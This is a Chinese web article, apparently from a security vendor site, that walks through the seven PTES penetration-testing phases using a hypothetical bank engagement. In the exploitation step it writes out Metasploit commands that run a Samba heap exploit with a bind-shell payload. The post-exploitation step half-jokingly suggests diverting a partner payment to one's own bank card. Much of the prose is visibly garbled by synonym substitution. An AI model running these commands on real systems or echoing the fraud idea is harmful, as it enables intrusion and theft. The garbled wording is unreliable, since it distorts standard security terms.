移动安全 安全管理 应用案例 网络威胁 系统安全应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 应用安全 >

Metasploit 渗入测试之旅

时间:2013-11-11 10:09来源:TuZhiJiaMi企业信息安全专家 点击:
甚么是渗入测试 渗入测试没有一个尺度的定义, 在安然界遍及的说法是: 渗入测试是一种经由过程摹拟报复打击者的手艺与编制, 挫败方针系统的安然机制并获得拜候节制权限的安然测试编制
Tags应用安全(1006)Metasploit(3)测试平台(1)  

  甚么是渗入测试

  渗入测试没有一个尺度的定义, 在安然界遍及的说法是: 渗入测试是一种经由过程摹拟报复打击者的手艺与编制, 挫败方针系统的安然机制并获得拜候节制权限的安然测试编制.

  成功的渗入一个系统可以获得系统的完全节制权, 所以渗入手艺可谓一招致命.

  若何渗入一个系统

  既然渗入测试的威力这么强大年夜, 那若何渗入一个系统呢?

  起首, 我们需要体味一些渗入测试的根本:

  PTES(Penetration Testing Execution Strandard), 即渗入测试尺度; PTES将渗入测试划分为七个阶段:

  1. 前期交互阶段: 与客户会商并肯定渗入测试的范围和方针

  2. 谍报汇集阶段: 采纳各类手段汇集被报复打击者的有效信息.

  3. 威胁阐发阶段: 经由过程汇集的谍报信息, 标识方针系统可能存在的安然隐患.

  4. 缝隙阐发阶段: 阐发缝隙的可行性和最可行的报复打击编制.

  5. 渗入报复打击阶段: 对方针进行渗入.

  6. 后渗入报复打击阶段: 按照方针的不合, 矫捷的利用不合手艺. 让方针系统阐扬更大年夜的价值.

  7. 陈述阶段: 撰写渗入陈述

  从上面我们可以看出真正利用渗入测试手艺的只占一小部门, 所以一个好的渗入测试工作者, 不但需要过硬的渗入手艺, 并且更首要的是从多方面发掘出被报复打击者的价值信息.

  渗入测试的分类:

  白盒测试: 熟谙系统的架构和收集环境, 并可以获得内部的拜候权.

  黑盒测试: 对系统的架构和收集环境全无所闻, 只知道被报复打击的方针.

  其次, 我们需要良多辅助东西. 这里我们利用最强大年夜, 最风行和最具有成长前景的开源测试平台--Metasploit. 更多关于Metasploit介绍, 拜见Wiki.

  下面我们将利用Metasploit连络PTES来完成我们的Metasploit渗入测试之旅.

  Step 1: 前期交互阶段

  好比我此刻开了一个S安然公司, 此刻中国银行请我们公司给它们的系统进行安然测试. 这里仅会商渗入测试.

  银行和公司 前期交互成果:

  银行不供给内部信息, S进行黑盒测试.

  划定某年某月某日可以进行测试, 其他时候不成以, 并且不成以影响银行的正常营业.

  划定测试范围为银行的Web办事主机.

  Step2: 谍报汇集阶段

  S公司开端对银行系统的主机进行谍报汇集. 谍报汇集的手艺有良多种, 包含社交媒体, Google Hacking, 系统踩点.

  常常利用的谍报汇集手段:

  Whois查询

  Netcraft

  NSLookuup

  Nmap端口扫描

  缝隙扫描

  社会工程学

  汇集成果:

  银行员工微博: 持续工作了8个小时, 终究完成Apache Tomcat的进级. --> 由此我们推出银行系统的Web办事器利用Apache Tomcat. 有次我们可以确认该银行Web办事器利用J2EE架构.

  Nefcraft.com --> 获得系统运行的状况. 系统类型(CentOS), IP地址 DNS解析等.

  Nmap --> 探测系统防御系统, 端口过滤等收集建设.

  Step3: 威胁建模阶段

  经由过程前面的汇集工作, 找到以下的安然隐患;

  CentOS系统版本比较老, 已存在发现的缝隙

  防火墙建设不当.

  手艺安然人员贫乏某些安然意识.

  Step4: 缝隙阐发阶段

  我们发现方针系统开启了samba办事,并且可以由外部拜候. 我们觉得经由过程CentOS进行报复打击可以快速并且获得最大年夜的节制权限.

  Step5: 渗入报复打击阶段

  这里就该Metasploit出手了. 打开Metasploit的MSF终端.

  Search samba

  use exploit/linux/samba/lsa_trasnames_heap

  show payloads

  set payload linux/x86/shell_bind_tcp

  set LPORT 8080

  set RHOST x.x.x.x

  exploit

  这里假定此系统存在此缝隙, 可以成功渗入方针.

  Step6: 后渗入报复打击阶段

  我们获得了银行的Web系统的节制权. 后渗入阶段就是充分阐扬被报复打击的有效价值.

  我们发现一份银行和其合作火伴的一份声明, 让你合作火伴将款打进某个银行卡, 你有胆的话便可以将这个银行卡改成你的了.

  再好比发现银行的工资单. 和某些赃官的存款等等..

  这就是一个金山, 就看你能发掘出多少了, 适可而止

  Step7: 陈述阶段

  当然我是一个公司, 我收取了人家银行的钱为人家工作. 所以咱仍是别干任何坏事. 所以我就需要将我们的成功清算成文档, 供给给银行并协助 银行修补这些标题问题. 一面看了这篇文章的人一时胡涂犯下大年夜错.

  本文侧重渗入测试的一个规范化过程, 其实不是侧重讲Metasploit, 有关Metasploit的利用. 我会抽时候写一篇关于Metasploit的利用教程. 假定你希看在渗入测试方面有所建树, 那你就要支出比他人跟多的尽力.

------分隔线----------------------------

推荐内容